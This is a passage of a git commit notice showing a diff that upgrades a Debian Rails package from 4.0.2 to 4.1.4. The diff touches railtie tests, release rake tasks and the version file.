       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           mount Weblog::Engine, :at => '/', :as => 'weblog'
           resources :posts
           get "/engine_route" => "application_generating#engine_route"
diff --git a/railties/test/railties/railtie_test.rb b/railties/test/railties/railtie_test.rb
index 0786b8f..a458240 100644
--- a/railties/test/railties/railtie_test.rb
+++ b/railties/test/railties/railtie_test.rb
@@ -19,14 +19,14 @@ module RailtiesTest
       @app ||= Rails.application
     end
 
-    test "Rails::Railtie itself does not respond to config" do
-      assert !Rails::Railtie.respond_to?(:config)
+    test "cannot instantiate a Railtie object" do
+      assert_raise(RuntimeError) { Rails::Railtie.new }
     end
 
     test "Railtie provides railtie_name" do
       begin
         class ::FooBarBaz < Rails::Railtie ; end
-        assert_equal "foo_bar_baz", ::FooBarBaz.railtie_name
+        assert_equal "foo_bar_baz", FooBarBaz.railtie_name
       ensure
         Object.send(:remove_const, :"FooBarBaz")
       end
@@ -39,13 +39,6 @@ module RailtiesTest
       assert_equal "bar", Foo.railtie_name
     end
 
-    test "cannot inherit from a railtie" do
-      class Foo < Rails::Railtie ; end
-      assert_raise RuntimeError do
-        class Bar < Foo; end
-      end
-    end
-
     test "config is available to railtie" do
       class Foo < Rails::Railtie ; end
       assert_nil Foo.config.action_controller.foo
@@ -65,7 +58,7 @@ module RailtiesTest
         config.foo.greetings = "hello"
       end
       require "#{app_path}/config/application"
-      assert_equal "hello", AppTemplate::Application.config.foo.greetings
+      assert_equal "hello", Rails.application.config.foo.greetings
     end
 
     test "railtie can add to_prepare callbacks" do
@@ -79,6 +72,14 @@ module RailtiesTest
       assert $to_prepare
     end
 
+    test "railtie have access to application in before_configuration callbacks" do
+      $after_initialize = false
+      class Foo < Rails::Railtie ; config.before_configuration { $before_configuration = Rails.root.to_path } ; end
+      assert_not $before_configuration
+      require "#{app_path}/config/environment"
+      assert_equal app_path, $before_configuration
+    end
+
     test "railtie can add after_initialize callbacks" do
       $after_initialize = false
       class Foo < Rails::Railtie ; config.after_initialize { $after_initialize = true } ; end
@@ -103,7 +104,7 @@ module RailtiesTest
       require 'rake/testtask'
       require 'rdoc/task'
 
-      AppTemplate::Application.load_tasks
+      Rails.application.load_tasks
       assert $ran_block
     end
 
@@ -127,7 +128,7 @@ module RailtiesTest
       require 'rake/testtask'
       require 'rdoc/task'
 
-      AppTemplate::Application.load_tasks
+      Rails.application.load_tasks
       assert $ran_block.include?("my_tie")
     end
 
@@ -143,7 +144,7 @@ module RailtiesTest
       require "#{app_path}/config/environment"
 
       assert !$ran_block
-      AppTemplate::Application.load_generators
+      Rails.application.load_generators
       assert $ran_block
     end
 
@@ -159,7 +160,7 @@ module RailtiesTest
       require "#{app_path}/config/environment"
 
       assert !$ran_block
-      AppTemplate::Application.load_console
+      Rails.application.load_console
       assert $ran_block
     end
 
@@ -175,7 +176,7 @@ module RailtiesTest
       require "#{app_path}/config/environment"
 
       assert !$ran_block
-      AppTemplate::Application.load_runner
+      Rails.application.load_runner
       assert $ran_block
     end
 
diff --git a/railties/test/test_info_test.rb b/railties/test/test_info_test.rb
index d5463c1..b9c3a9c 100644
--- a/railties/test/test_info_test.rb
+++ b/railties/test/test_info_test.rb
@@ -48,6 +48,7 @@ module Rails
       assert_equal ['test'], info.tasks
     end
 
+    private
     def new_test_info(tasks)
       Class.new(TestTask::TestInfo) {
         def task_defined?(task)
diff --git a/railties/test/version_test.rb b/railties/test/version_test.rb
new file mode 100644
index 0000000..f270d8f
--- /dev/null
+++ b/railties/test/version_test.rb
@@ -0,0 +1,12 @@
+require 'abstract_unit'
+
+class VersionTest < ActiveSupport::TestCase
+  def test_rails_version_returns_a_string
+    assert Rails.version.is_a? String
+  end
+
+  def test_rails_gem_version_returns_a_correct_gem_version_object
+    assert Rails.gem_version.is_a? Gem::Version
+    assert_equal Rails.version, Rails.gem_version.to_s
+  end
+end
diff --git a/tasks/release.rb b/tasks/release.rb
index 0c22f81..3eebb45 100644
--- a/tasks/release.rb
+++ b/tasks/release.rb
@@ -1,4 +1,4 @@
-FRAMEWORKS = %w( activesupport activemodel activerecord actionpack actionmailer railties )
+FRAMEWORKS = %w( activesupport activemodel activerecord actionview actionpack actionmailer railties )
 
 root    = File.expand_path('../../', __FILE__)
 version = File.read("#{root}/RAILS_VERSION").strip
@@ -15,38 +15,37 @@ directory "pkg"
       rm_f gem
     end
 
-    task :update_version_rb do
+    task :update_versions do
       glob = root.dup
-      glob << "/#{framework}/lib/*" unless framework == "rails"
-      glob << "/version.rb"
+      if framework == "rails"
+        glob << "/version.rb"
+      else
+        glob << "/#{framework}/lib/*"
+        glob << "/gem_version.rb"
+      end
 
       file = Dir[glob].first
       ruby = File.read(file)
 
-      if framework == "rails" || framework == "railties"
-        major, minor, tiny, pre = version.split('.')
-        pre = pre ? pre.inspect : "nil"
+      major, minor, tiny, pre = version.split('.')
+      pre = pre ? pre.inspect : "nil"
 
-        ruby.gsub!(/^(\s*)MAJOR(\s*)= .*?$/, "\\1MAJOR = #{major}")
-        raise "Could not insert MAJOR in #{file}" unless $1
+      ruby.gsub!(/^(\s*)MAJOR(\s*)= .*?$/, "\\1MAJOR = #{major}")
+      raise "Could not insert MAJOR in #{file}" unless $1
 
-        ruby.gsub!(/^(\s*)MINOR(\s*)= .*?$/, "\\1MINOR = #{minor}")
-        raise "Could not insert MINOR in #{file}" unless $1
+      ruby.gsub!(/^(\s*)MINOR(\s*)= .*?$/, "\\1MINOR = #{minor}")
+      raise "Could not insert MINOR in #{file}" unless $1
 
-        ruby.gsub!(/^(\s*)TINY(\s*)= .*?$/, "\\1TINY  = #{tiny}")
-        raise "Could not insert TINY in #{file}" unless $1
+      ruby.gsub!(/^(\s*)TINY(\s*)= .*?$/, "\\1TINY  = #{tiny}")
+      raise "Could not insert TINY in #{file}" unless $1
 
-        ruby.gsub!(/^(\s*)PRE(\s*)= .*?$/, "\\1PRE   = #{pre}")
-        raise "Could not insert PRE in #{file}" unless $1
-      else
-        ruby.gsub!(/^(\s*)Gem::Version\.new .*?$/, "\\1Gem::Version.new \"#{version}\"")
-        raise "Could not insert Gem::Version in #{file}" unless $1
-      end
+      ruby.gsub!(/^(\s*)PRE(\s*)= .*?$/, "\\1PRE   = #{pre}")
+      raise "Could not insert PRE in #{file}" unless $1
 
       File.open(file, 'w') { |f| f.write ruby }
     end
 
-    task gem => %w(update_version_rb pkg) do
+    task gem => %w(update_versions pkg) do
       cmd = ""
       cmd << "cd #{framework} && " unless framework == "rails"
       cmd << "gem build #{gemspec} && mv #{framework}-#{version}.gem #{root}/pkg/"
@@ -68,7 +67,7 @@ end
 
 namespace :changelog do
   task :release_date do
-    FRAMEWORKS.each do |fw|
+    (FRAMEWORKS + ['guides']).each do |fw|
       require 'date'
       replace = '\1(' + Date.today.strftime('%B %d, %Y') + ')'
       fname = File.join fw, 'CHANGELOG.md'
@@ -79,7 +78,7 @@ namespace :changelog do
   end
 
   task :release_summary do
-    FRAMEWORKS.each do |fw|
+    FRAMEWORKS + ['guides'].each do |fw|
       puts "## #{fw}"
       fname    = File.join fw, 'CHANGELOG.md'
       contents = File.readlines fname
@@ -93,16 +92,17 @@ namespace :changelog do
 end
 
 namespace :all do
-  task :build   => FRAMEWORKS.map { |f| "#{f}:build"   } + ['rails:build']
-  task :install => FRAMEWORKS.map { |f| "#{f}:install" } + ['rails:install']
-  task :push    => FRAMEWORKS.map { |f| "#{f}:push"    } + ['rails:push']
+  task :build           => FRAMEWORKS.map { |f| "#{f}:build"           } + ['rails:build']
+  task :update_versions => FRAMEWORKS.map { |f| "#{f}:update_versions" } + ['rails:update_versions']
+  task :install         => FRAMEWORKS.map { |f| "#{f}:install"         } + ['rails:install']
+  task :push            => FRAMEWORKS.map { |f| "#{f}:push"            } + ['rails:push']
 
   task :ensure_clean_state do
     unless `git status -s | grep -v RAILS_VERSION`.strip.empty?
       abort "[ABORTING] `git status` reports a dirty tree. Make sure all changes are committed"
     end
 
-    unless ENV['SKIP_TAG'] || `git tag | grep #{tag}`.strip.empty?
+    unless ENV['SKIP_TAG'] || `git tag | grep '^#{tag}$`.strip.empty?
       abort "[ABORTING] `git tag` shows that #{tag} already exists. Has this version already\n"\
             "           been released? Git tagging can be skipped by setting SKIP_TAG=1"
     end
@@ -120,7 +120,7 @@ namespace :all do
   end
 
   task :tag do
-    sh "git tag #{tag}"
+    sh "git tag -m '#{tag} release' #{tag}"
     sh "git push --tags"
   end
 
diff --git a/version.rb b/version.rb
index 325c07e..255e08c 100644
--- a/version.rb
+++ b/version.rb
@@ -1,8 +1,13 @@
 module Rails
+  # Returns the version of the currently loaded Rails as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
   module VERSION
     MAJOR = 4
-    MINOR = 0
-    TINY  = 2
+    MINOR = 1
+    TINY  = 4
     PRE   = nil
 
     STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")

-- 
Alioth's /usr/local/bin/git-commit-notice on /srv/git.debian.org/git/pkg-ruby-extras/rails.git



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